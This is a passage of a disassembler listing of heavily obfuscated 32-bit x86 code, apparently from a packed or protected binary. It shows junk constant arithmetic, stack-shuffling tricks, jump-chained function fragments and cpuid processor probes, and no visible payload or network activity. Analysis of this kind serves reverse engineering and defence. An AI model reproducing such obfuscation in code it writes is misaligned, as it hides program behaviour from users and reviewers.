		mov	[ebp-8], eax
		jmp	loc_42C889
; END OF FUNCTION CHUNK	FOR sub_424680
; ---------------------------------------------------------------------------


loc_4261A9:				; CODE XREF: _7hdaygc1:00427028j
		push	ebp
		pop	esi
		mov	esi, [esi]
		sub	esi, eax
		mov	[ebp+0], esi
		push	offset sub_428DE6
		jmp	locret_42CD84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426130


loc_4261BC:				; CODE XREF: sub_426130:loc_42BF56j
		not	ebp
		xor	eax, 0B438443Dh
		jmp	loc_425083
; END OF FUNCTION CHUNK	FOR sub_426130
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C26B


loc_4261C9:				; CODE XREF: sub_42C26B:loc_423393j
		xor	edx, edx
		mov	edx, ds:dword_42BC60
		mov	ebx, [edx+eax*4]
		call	sub_428C3B
		jmp	loc_42613C
; END OF FUNCTION CHUNK	FOR sub_42C26B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4253A0


loc_4261DE:				; CODE XREF: sub_4253A0:loc_428F43j
		cmp	eax, [ebp-8]
		jnz	loc_4237C9
		mov	eax, [ebp-14h]
		push	offset loc_42D719
		jmp	nullsub_54
; END OF FUNCTION CHUNK	FOR sub_4253A0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA9B


loc_4261F4:				; CODE XREF: sub_42AA9B:loc_4271C8j
		rol	eax, 0Fh
		add	eax, 26A7D8EFh
		popf
		xchg	eax, [esp+10h+var_10]
		jmp	sub_42A94C
; END OF FUNCTION CHUNK	FOR sub_42AA9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425C3B


loc_426206:				; CODE XREF: sub_425C3B+3FDFj
		and	edx, 24157BB9h


loc_42620C:				; CODE XREF: sub_42EA6A:loc_42E502j
		call	sub_429E9F


loc_426211:				; CODE XREF: _7hdaygc1:0042AAEDj
		jnp	loc_424D5F
		cmp	ebx, edi
		jmp	loc_423488
; END OF FUNCTION CHUNK	FOR sub_425C3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA07


loc_42621E:				; CODE XREF: sub_42AA07:loc_427E27j
		or	edx, 0E981FEE0h
		xor	edx, 344A76EFh
		and	edx, 40D8BDD3h
		xor	edx, 3B98D365h
		add	edx, ebp
		jmp	loc_42A52C
; END OF FUNCTION CHUNK	FOR sub_42AA07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_42623D:				; CODE XREF: sub_423172+3F4Cj
		cdq
		not	ebp
		jmp	loc_424E4D
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_426245:				; CODE XREF: sub_42C443:loc_42BF45j
					; sub_42C443+98Bj
		mov	eax, 1


loc_42624A:				; CODE XREF: _7hdaygc1:00429227j
		xor	edx, edx
		cpuid
		and	eax, 0FFFh
		add	[esi], eax
		jmp	loc_42D2D8
; END OF FUNCTION CHUNK	FOR sub_42C443
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_173. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425A37


loc_42625B:				; CODE XREF: sub_425A37:loc_425165j
		push	ecx
		push	esi
		push	edi
		mov	esi, eax
		pushf
		xchg	esi, [esp+10h+var_10]
		mov	eax, esi
		jmp	loc_42AD77
; END OF FUNCTION CHUNK	FOR sub_425A37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DAD9


loc_42626B:				; CODE XREF: sub_42DAD9:loc_42E8E8j
		mov	eax, ebp
		xchg	eax, [esp+0]
		mov	ebp, esp
		push	ecx
		mov	esp, ebp
		pop	ebp
		push	0CE055D22h
		jmp	loc_426996
; END OF FUNCTION CHUNK	FOR sub_42DAD9
; ---------------------------------------------------------------------------

locret_426280:				; CODE XREF: _7hdaygc1:loc_42B607j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426A62


loc_426281:				; CODE XREF: sub_426A62+2313j
		jmp	loc_4272DA
; END OF FUNCTION CHUNK	FOR sub_426A62
; ---------------------------------------------------------------------------
		add	ecx, edx


loc_426288:				; CODE XREF: _7hdaygc1:loc_42405Dj
		jmp	sub_42ABE3
; ---------------------------------------------------------------------------
		and	eax, ebp
		jmp	sub_42E4B2
; ---------------------------------------------------------------------------
		sbb	ebp, ebx
		jmp	sub_423752
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B470


loc_42629B:				; CODE XREF: sub_42B470:loc_424436j
		push	ecx
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_42B99C
		call	sub_42F528


loc_4262AA:				; CODE XREF: sub_423F02+A7F2j
		jmp	loc_4234A1
; END OF FUNCTION CHUNK	FOR sub_42B470
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CCDD


loc_4262AF:				; CODE XREF: sub_42CCDD+D6Fj
		jmp	loc_429AE8
; END OF FUNCTION CHUNK	FOR sub_42CCDD
; ---------------------------------------------------------------------------


loc_4262B4:				; CODE XREF: _7hdaygc1:0042D09Dj
		jmp	locret_423C9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42581B


loc_4262B9:				; CODE XREF: sub_42581B-FECj
		jmp	loc_42843B
; END OF FUNCTION CHUNK	FOR sub_42581B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_4262BE:				; CODE XREF: sub_423DFC+40B9j
		jnz	loc_425A5A


loc_4262C4:				; CODE XREF: sub_42F075-BB6Ej
		jmp	loc_428DB3
; END OF FUNCTION CHUNK	FOR sub_423DFC
; ---------------------------------------------------------------------------
		rol	ebx, 2
		xor	ebp, edx
		cdq
		jmp	loc_425A55
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42837F


loc_4262D4:				; CODE XREF: sub_42837F:loc_42E9BCj
		mov	esp, ebp
		push	offset sub_42CDF7
		jmp	loc_426AE2
; END OF FUNCTION CHUNK	FOR sub_42837F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A2EF


loc_4262E0:				; CODE XREF: sub_42A2EF:loc_42CBFCj
		mov	edx, 4CB976E9h
		push	ebx
		push	0E885699Eh
		pop	ebx
		and	ebx, 0E37D84B0h
		add	ebx, ds:4000F7h
		cmp	ebx, 0AEAE4497h
		jmp	loc_423EA8
; END OF FUNCTION CHUNK	FOR sub_42A2EF

; =============== S U B	R O U T	I N E =======================================



sub_426303	proc near		; CODE XREF: _7hdaygc1:004286BAj
					; sub_429318+6588p

arg_0		= dword	ptr  4

		xchg	eax, [esp+0]
		pop	eax
		add	ebx, 131DD441h
		xchg	ebx, [esp-4+arg_0]
		jmp	sub_426941
sub_426303	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426315	proc near		; DATA XREF: sub_426606+89ACo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042715D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 004286BF SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042A069 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042DD27 SIZE 00000005 BYTES

		sub	eax, 40h
		sub	eax, 10h
		push	edx
		mov	edx, eax
		xchg	edx, [esp+4+var_4]
		mov	eax, [ebp-4]
		push	eax
		jmp	loc_42A069
sub_426315	endp

; ---------------------------------------------------------------------------


loc_42632A:				; DATA XREF: _7hdaygc1:0042BF87o
		add	eax, ecx
		pop	ecx
		mov	eax, [eax]
		push	ebx
		mov	ebx, eax
		xchg	ebx, [esp]
		push	ecx
		push	0F24CF880h
		jmp	loc_423FF2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423410


loc_426340:				; CODE XREF: sub_423410+4B45j
		or	edi, 3CF42908h
		xor	ebx, 1A51658Fh


loc_42634C:				; CODE XREF: sub_423410:loc_424CECj
		push	edi
		push	8A1C9F5Ah
		jmp	loc_423DBE
; END OF FUNCTION CHUNK	FOR sub_423410
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C369


loc_426357:				; CODE XREF: sub_42C369:loc_42E93Fj
		push	offset loc_425018
		jmp	loc_4243CF
; END OF FUNCTION CHUNK	FOR sub_42C369
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_426361:				; CODE XREF: sub_423DFC+101Ej
		add	eax, ebp
		add	eax, 0F6437443h
		mov	eax, [eax]
		call	sub_42F0B4
		jmp	loc_42AD64
; END OF FUNCTION CHUNK	FOR sub_423DFC
; ---------------------------------------------------------------------------
		jnp	loc_42D538
		jnp	loc_4251BE
		jmp	sub_42CB0F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A4F1


loc_426386:				; CODE XREF: sub_42A4F1-561Cj
		jo	loc_42C025
		sub	eax, ebx


loc_42638E:				; CODE XREF: sub_42A4F1:loc_4299F4j
		push	offset sub_424E1F
		jmp	loc_42A048
; END OF FUNCTION CHUNK	FOR sub_42A4F1
; ---------------------------------------------------------------------------
		push	offset sub_42FC2D
		jmp	loc_42AD5F
; ---------------------------------------------------------------------------


loc_4263A2:				; DATA XREF: _7hdaygc1:00428D40o
		xchg	edi, [esp]
		jmp	loc_425F91
; ---------------------------------------------------------------------------


loc_4263AA:				; CODE XREF: _7hdaygc1:0042ADBBj
		pop	edx

; =============== S U B	R O U T	I N E =======================================



sub_4263AB	proc near		; CODE XREF: sub_425360+629Dp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00425FEC SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00428DDC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042908E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E4CD SIZE 00000008 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		xchg	ebx, [esp+0]
		jmp	loc_428DDC
sub_4263AB	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6C3


loc_4263B7:				; CODE XREF: sub_42A6C3:loc_426F78j
		popf
		push	98484CEDh
		ror	ebx, 10h
		xchg	esi, [edi]
		jmp	loc_424BDD
; END OF FUNCTION CHUNK	FOR sub_42A6C3
; ---------------------------------------------------------------------------


loc_4263C7:				; DATA XREF: sub_425492+4A1Fo
		add	eax, 2AD381BDh
		mov	eax, [eax]
		mov	[ebp-4], eax
		call	sub_42AEE4
; START	OF FUNCTION CHUNK FOR sub_423172


loc_4263D7:				; CODE XREF: sub_423172+8B1Dj
		jmp	sub_42C1AF
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F8C4


loc_4263DC:				; CODE XREF: sub_42F8C4-6142j
		jge	loc_42D5DE
		push	edi
		or	edx, 672F5889h
		jmp	loc_429D8B
; END OF FUNCTION CHUNK	FOR sub_42F8C4
; ---------------------------------------------------------------------------
		cmp	edx, 3147DC44h
		jmp	loc_428A63

; =============== S U B	R O U T	I N E =======================================



sub_4263F9	proc near		; DATA XREF: _7hdaygc1:0042AAF5o
		push	ebx
		mov	eax, 2
		push	ecx
		push	0DDD1E4EAh
		pop	ecx
		and	ecx, 0B0A362CCh
		xor	ecx, 0F9E1E8C7h
		jmp	loc_424A33
sub_4263F9	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A052


loc_426417:				; CODE XREF: sub_42A052-5843j
		jbe	loc_42A898
		or	edi, esi
		xor	edx, 1AC578F2h
		jmp	loc_429A54
; END OF FUNCTION CHUNK	FOR sub_42A052
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42642A:				; CODE XREF: sub_42C443:loc_42D2D8j
		xor	[esi], edx
		mov	eax, 80000000h
		cpuid
		cmp	eax, 80000000h
		jbe	loc_42E845
		jmp	loc_42ABF0
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------
		mov	edx, 0C231F698h
		push	edi
		push	466E7E29h
		xchg	eax, [esp]
		mov	edi, eax
		pop	eax
		jmp	loc_42EC5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F642


loc_426459:				; CODE XREF: sub_42F642+Dj
		pop	esi
		and	esi, 7A9823CBh
		or	esi, 86D5C4B8h
		cmp	esi, 8B9E4C66h
		jmp	loc_425113
; END OF FUNCTION CHUNK	FOR sub_42F642

; =============== S U B	R O U T	I N E =======================================



sub_426471	proc near		; CODE XREF: _7hdaygc1:0042AA6Cj
					; _7hdaygc1:loc_42E047p

; FUNCTION CHUNK AT 004250D1 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00428F0C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042998F SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	eax, 0C488D0A8h
		mov	eax, [eax]
		jmp	loc_428F0C
sub_426471	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F30D


loc_426482:				; CODE XREF: sub_42F30D:loc_4239C5j
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_42F30D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B74A


loc_426484:				; CODE XREF: sub_42B74A+F27j
		jmp	loc_423013
; END OF FUNCTION CHUNK	FOR sub_42B74A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B907


loc_426489:				; CODE XREF: sub_42B907:loc_42B90Fj
		jmp	loc_42880D
; END OF FUNCTION CHUNK	FOR sub_42B907
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4288FE


loc_42648E:				; CODE XREF: sub_4288FE-1C4Ej
		jmp	loc_4245F5
; END OF FUNCTION CHUNK	FOR sub_4288FE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_426493:				; CODE XREF: sub_423172+Dj
					; sub_42A17C+6j
		rol	eax, 17h


loc_426496:				; CODE XREF: _7hdaygc1:loc_426BF1j
		push	ecx
		jmp	loc_4272BE
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BAD


loc_42649C:				; CODE XREF: sub_425BAD:loc_4267F1j
		mov	[ebp-4], eax
		mov	edx, [ebp-8]
		mov	eax, [ebp-4]
		call	sub_42BFDF
		mov	edx, [ebp-8]
		mov	eax, [ebp-4]
		call	nullsub_4
		jmp	loc_424A4B
; END OF FUNCTION CHUNK	FOR sub_425BAD
; ---------------------------------------------------------------------------


loc_4264BA:				; CODE XREF: _7hdaygc1:00429171j
		add	ebx, 0F4DCF7D8h

; =============== S U B	R O U T	I N E =======================================



sub_4264C0	proc near		; CODE XREF: _7hdaygc1:0042C33Ap
		xchg	edi, [esp+0]
		pop	edi
		add	ecx, ebp
		push	offset sub_42D5BD
		jmp	nullsub_204
sub_4264C0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425A37


loc_4264D0:				; CODE XREF: sub_425A37:loc_424DB3j
		pop	eax
		xor	eax, 0B0AC8047h
		sub	eax, 0D463D60Ch
		and	eax, 0F9C6708h
		xor	eax, 4E91D931h
		jmp	loc_428576
; END OF FUNCTION CHUNK	FOR sub_425A37
; ---------------------------------------------------------------------------
		jnp	loc_423E0D
		jmp	sub_42EBFB
; ---------------------------------------------------------------------------
		mov	edx, [ebp-4]
		push	6872B9F0h
		pop	eax
		and	eax, 0E5DDBC9Eh
		add	eax, 27663758h
		add	eax, ebp
		add	eax, 78491008h
		mov	ecx, [ebp-30h]
		jmp	loc_42AE28
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D002


loc_42651E:				; CODE XREF: sub_42D002-73A8j
		js	loc_428D5B


loc_426524:				; CODE XREF: sub_42D002:loc_42D00Ej
		or	edi, 0D63ACC29h
		add	edi, 2A07B0D5h
		xchg	edi, [esp+0]
		jmp	loc_423B8D
; END OF FUNCTION CHUNK	FOR sub_42D002
; ---------------------------------------------------------------------------


loc_426538:				; CODE XREF: _7hdaygc1:0042B509j
		jge	loc_4281AE

; =============== S U B	R O U T	I N E =======================================



sub_42653E	proc near		; CODE XREF: sub_425C2C:loc_42BC94p

; FUNCTION CHUNK AT 004284C8 SIZE 00000008 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	eax, [eax]
		jmp	loc_4284C8
sub_42653E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		xchg	eax, [edi]
		adc	ebp, 74E16F48h
		jmp	sub_42A607
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_4260B4

; =============== S U B	R O U T	I N E =======================================



sub_42655C	proc near		; CODE XREF: _7hdaygc1:0042D429j
					; sub_42D16D+287Fp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00425A03 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00425A20 SIZE 0000000A BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [ebp-8]
		cdq
		add	eax, [esp+0]
		jmp	loc_425A20
sub_42655C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42656C:				; CODE XREF: _7hdaygc1:loc_42397Cj
					; _7hdaygc1:00428103j
		mov	eax, [ebp-28h]
		cmp	eax, [ebp-14h]
		jmp	loc_42B7D3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429318


loc_426577:				; CODE XREF: sub_429318-270Aj
					; _7hdaygc1:0042F2D4j
		push	offset sub_42E85F
		jmp	nullsub_21
; END OF FUNCTION CHUNK	FOR sub_429318

; =============== S U B	R O U T	I N E =======================================



sub_426581	proc near		; DATA XREF: sub_4263AB-3B7o
		mov	dword ptr [ebp-8], 1
sub_426581	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42DD73


loc_426588:				; CODE XREF: _7hdaygc1:0042CCC7j
					; sub_42DD73+Bj
		lea	eax, loc_424FDB
		push	edx
		push	3CD9A7D3h
		pop	edx
		and	edx, 99BFDF5Eh
		jmp	loc_428DD7
; END OF FUNCTION CHUNK	FOR sub_42DD73
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_4265A0:				; CODE XREF: sub_423172:loc_428571j
		add	ecx, 0FD9BE1Dh
		add	ecx, ebp
		add	ecx, 0C6562B04h
		mov	[ecx], eax
		pop	ecx
		inc	dword ptr [ebp-10h]
		cmp	dword ptr [ebp-8], 0
		jnz	loc_424E4D
		jmp	loc_42B3D5
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291A3


loc_4265C3:				; CODE XREF: sub_4291A3:loc_42359Ej
		mov	eax, [eax]
		mov	ds:dword_425154, eax
		xor	eax, eax
		mov	ds:dword_425150, eax


loc_4265D1:				; CODE XREF: _7hdaygc1:loc_4259D2j
		jmp	loc_42B68F
; END OF FUNCTION CHUNK	FOR sub_4291A3
; ---------------------------------------------------------------------------
		mov	[ebp-0Ch], eax
		cmp	dword ptr [ebp-4], 0


loc_4265DD:				; CODE XREF: _7hdaygc1:00429C58j
		jz	loc_4270F0
		jmp	loc_42B4BF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423172


loc_4265E8:				; CODE XREF: sub_423172+9179j
		sub	edi, 0FA74526h


loc_4265EE:				; CODE XREF: _7hdaygc1:loc_42DEF5j
		sbb	ebp, edx
		jmp	loc_42F6E9
; END OF FUNCTION CHUNK	FOR sub_423172
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C7F3


loc_4265F5:				; CODE XREF: sub_42C7F3+13j
		and	edx, 5259491Dh
		cmp	edx, 9908828Eh
		jmp	loc_42DD3D
; END OF FUNCTION CHUNK	FOR sub_42C7F3

; =============== S U B	R O U T	I N E =======================================



sub_426606	proc near		; DATA XREF: _7hdaygc1:00429C6Fo

; FUNCTION CHUNK AT 0042EFA4 SIZE 00000018 BYTES

		push	0B9648053h
		pop	eax
		or	eax, 5F19C5AFh
		xor	eax, 3B194E05h
		add	eax, ebp
		add	eax, 3B9B73EAh
		jmp	loc_42EFA4
sub_426606	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4246D7


loc_426625:				; CODE XREF: sub_4246D7:loc_4286ADj
		or	dword ptr [eax-8], 4
		mov	eax, [ebp-4]
		movzx	eax, byte ptr [eax]
		push	offset loc_424DD1
		jmp	loc_424E97
; END OF FUNCTION CHUNK	FOR sub_4246D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429FC3


loc_426639:				; CODE XREF: sub_429FC3:loc_42EE3Dj
		cmp	dword ptr [ebp-4], 0
		jnz	loc_4252E5
		lea	eax, [ebp-125h]
		push	eax
		call	sub_4252F5
		jmp	loc_4252E2
; END OF FUNCTION CHUNK	FOR sub_429FC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DDB


loc_426654:				; CODE XREF: sub_423DDB:loc_428480j
		mov	[esi], eax
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_423DDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42616B


loc_426658:				; CODE XREF: sub_42616B+638Aj
		jmp	loc_42A41C
; END OF FUNCTION CHUNK	FOR sub_42616B
; ---------------------------------------------------------------------------


loc_42665D:				; CODE XREF: _7hdaygc1:0042BEACj
		rol	eax, 11h
		push	ebx
		jmp	loc_429DE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA07


loc_426666:				; CODE XREF: sub_42AA07+50E7j
		cmp	edx, 40348E6Ch
		jmp	loc_42B625
; END OF FUNCTION CHUNK	FOR sub_42AA07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_426671:				; CODE XREF: sub_424AE1+3543j
		jo	loc_42A19A
		push	ebx
		shr	ecx, 3
		jle	loc_42859B


loc_426681:				; CODE XREF: sub_424AE1:loc_426D25j
		push	0BDAA90C0h
		pop	eax
		jmp	loc_429F17
; END OF FUNCTION CHUNK	FOR sub_424AE1
; ---------------------------------------------------------------------------
		push	offset sub_425561
		jmp	locret_42369D
; ---------------------------------------------------------------------------


loc_426696:				; CODE XREF: _7hdaygc1:00428B26j
		jg	loc_4244B0
		jmp	loc_42AEEF
; ---------------------------------------------------------------------------


loc_4266A1:				; CODE XREF: _7hdaygc1:00423134j
		shr	edi, 1Ch
		test	ecx, 0CBD54C38h
		jmp	loc_429D30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424B63


loc_4266AF:				; CODE XREF: sub_424B63+1Aj
		mov	eax, [eax]
		add	eax, [ebp-4]
		add	eax, 5
		cmp	eax, ds:dword_423B1C
		jmp	loc_42858E
; END OF FUNCTION CHUNK	FOR sub_424B63
; ---------------------------------------------------------------------------
		rol	ebp, 0Ah
		test	eax, 6867C0ECh
		jmp	loc_429266
; ---------------------------------------------------------------------------
		not	edx
		jmp	sub_4259F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42948A


loc_4266D7:				; CODE XREF: sub_42948A-146Dj
					; sub_42C16F:loc_42883Fj
		jz	loc_42ACA4
		jmp	loc_42FBB6
; END OF FUNCTION CHUNK	FOR sub_42948A
; ---------------------------------------------------------------------------
		push	959B2E2Ah
		or	edx, esi
		jmp	sub_42F291
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFB3


loc_4266EE:				; CODE XREF: sub_42AFB3:loc_423CF7j
		push	offset loc_425732
		jmp	sub_42F1E7
; END OF FUNCTION CHUNK	FOR sub_42AFB3

; =============== S U B	R O U T	I N E =======================================



sub_4266F8	proc near		; DATA XREF: sub_42F4CE:loc_428AE7o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00424733 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CEFC SIZE 00000012 BYTES

		mov	eax, offset dword_42E198
		mov	edx, [ebp-4]
		push	ebp
		mov	ebp, eax
		xchg	ebp, [esp+4+var_4]
		jmp	loc_424733
sub_4266F8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

locret_42670B:				; CODE XREF: _7hdaygc1:loc_42EB4Dj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427455


loc_42670C:				; CODE XREF: sub_427455+17j
		jmp	loc_42537C
; END OF FUNCTION CHUNK	FOR sub_427455
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429EBB


loc_426711:				; CODE XREF: sub_429EBB-3F4Dj
		jmp	loc_42E496
; END OF FUNCTION CHUNK	FOR sub_429EBB
; ---------------------------------------------------------------------------
		or	edx, edi
		jmp	sub_42525E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B74A


loc_42671D:				; CODE XREF: sub_42B74A:loc_428E37j
		rol	edx, 17h


loc_426720:				; CODE XREF: _7hdaygc1:loc_42964Ej
		jns	loc_4295AC
		add	ebx, 0FB434B20h
		cmp	eax, 0C2A720BAh
		jmp	loc_423398
; END OF FUNCTION CHUNK	FOR sub_42B74A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_155. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_426738	proc near		; DATA XREF: _7hdaygc1:0042E2D7o

arg_0		= dword	ptr  4

		add	ebx, 50E2AB46h
		popf
		xchg	ebx, [esp-4+arg_0]
		jmp	sub_42C16F
sub_426738	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425182


loc_426747:				; CODE XREF: sub_425182+8j
		cmp	al, 0C2h
		jz	loc_4236DB
		mov	eax, [ebp-4]
		mov	ax, [eax]
		and	ax, 38FFh
		jmp	loc_4289EF
; END OF FUNCTION CHUNK	FOR sub_425182
; ---------------------------------------------------------------------------


loc_42675E:				; CODE XREF: _7hdaygc1:loc_42BC50j
		push	ebx
		call	sub_427D11
; START	OF FUNCTION CHUNK FOR sub_42F528


loc_426764:				; CODE XREF: sub_42F528-B62j
		jmp	nullsub_43
; END OF FUNCTION CHUNK	FOR sub_42F528
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F62


loc_426769:				; CODE XREF: sub_424F62+5FB7j
		jmp	loc_42AC5B
; END OF FUNCTION CHUNK	FOR sub_424F62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42874A


loc_42676E:				; CODE XREF: sub_42874A-1976j
		jmp	loc_42D338
; END OF FUNCTION CHUNK	FOR sub_42874A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E0C4


loc_426773:				; CODE XREF: sub_42E0C4-199j
		add	edi, 1BB9912Dh
		not	ebp


loc_42677B:				; CODE XREF: sub_42E0C4:loc_42DF1Aj
		xor	eax, 80E84129h
		push	offset loc_42A207
		jmp	loc_4290D6
; END OF FUNCTION CHUNK	FOR sub_42E0C4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_211. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E254


loc_42678C:				; CODE XREF: sub_42E254+1j
		jmp	loc_42EE21
; END OF FUNCTION CHUNK	FOR sub_42E254
; ---------------------------------------------------------------------------
		push	edi


loc_426792:				; CODE XREF: _7hdaygc1:loc_423201j
		push	0EC882A30h


loc_426797:				; CODE XREF: _7hdaygc1:00428353j
		pop	edi
		add	edi, 5706251Bh
		or	edi, 6FE89FB3h
		jmp	loc_42B0AC
; ---------------------------------------------------------------------------
		add	edx, 0FF6CB7DFh
		jmp	sub_424385
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FA3D


loc_4267B4:				; CODE XREF: sub_42FA3D:loc_42FA43j
		mov	[ebp-40h], eax
		mov	eax, [ebp-40h]
		xor	edx, edx
		mov	[eax], edx
		push	0AB66032Ch
		pop	eax
		jmp	loc_42BB0A
; END OF FUNCTION CHUNK	FOR sub_42FA3D
; ---------------------------------------------------------------------------


loc_4267C9:				; CODE XREF: _7hdaygc1:0042EB8Fj
		add	ebp, 4D4925A8h
; START	OF FUNCTION CHUNK FOR sub_42A6C3


loc_4267CF:				; CODE XREF: sub_42A6C3+44B6j
		add	eax, 0C783DF18h
		push	offset loc_428BED
		jmp	nullsub_117
; END OF FUNCTION CHUNK	FOR sub_42A6C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BAD


loc_4267DF:				; CODE XREF: sub_425BAD:loc_42C344j
		add	eax, 0F7363506h
		or	eax, 24670731h
		jnz	loc_42DF01


loc_4267F1:				; CODE XREF: _7hdaygc1:004254B3j
					; sub_42E4B2+13j
		jmp	loc_42649C
; END OF FUNCTION CHUNK	FOR sub_425BAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4269BB


loc_4267F6:				; CODE XREF: sub_4269BB+2A41j
		jmp	loc_42DDE3
; END OF FUNCTION CHUNK	FOR sub_4269BB
; ---------------------------------------------------------------------------
		xchg	ebp, [ebx]
		jmp	loc_423047
; ---------------------------------------------------------------------------
		and	eax, ecx
		jmp	loc_42B146
; ---------------------------------------------------------------------------


loc_426809:				; CODE XREF: _7hdaygc1:0042EBF6j
		pop	edx
		xor	eax, 0E5817B54h
		test	eax, 4000000h
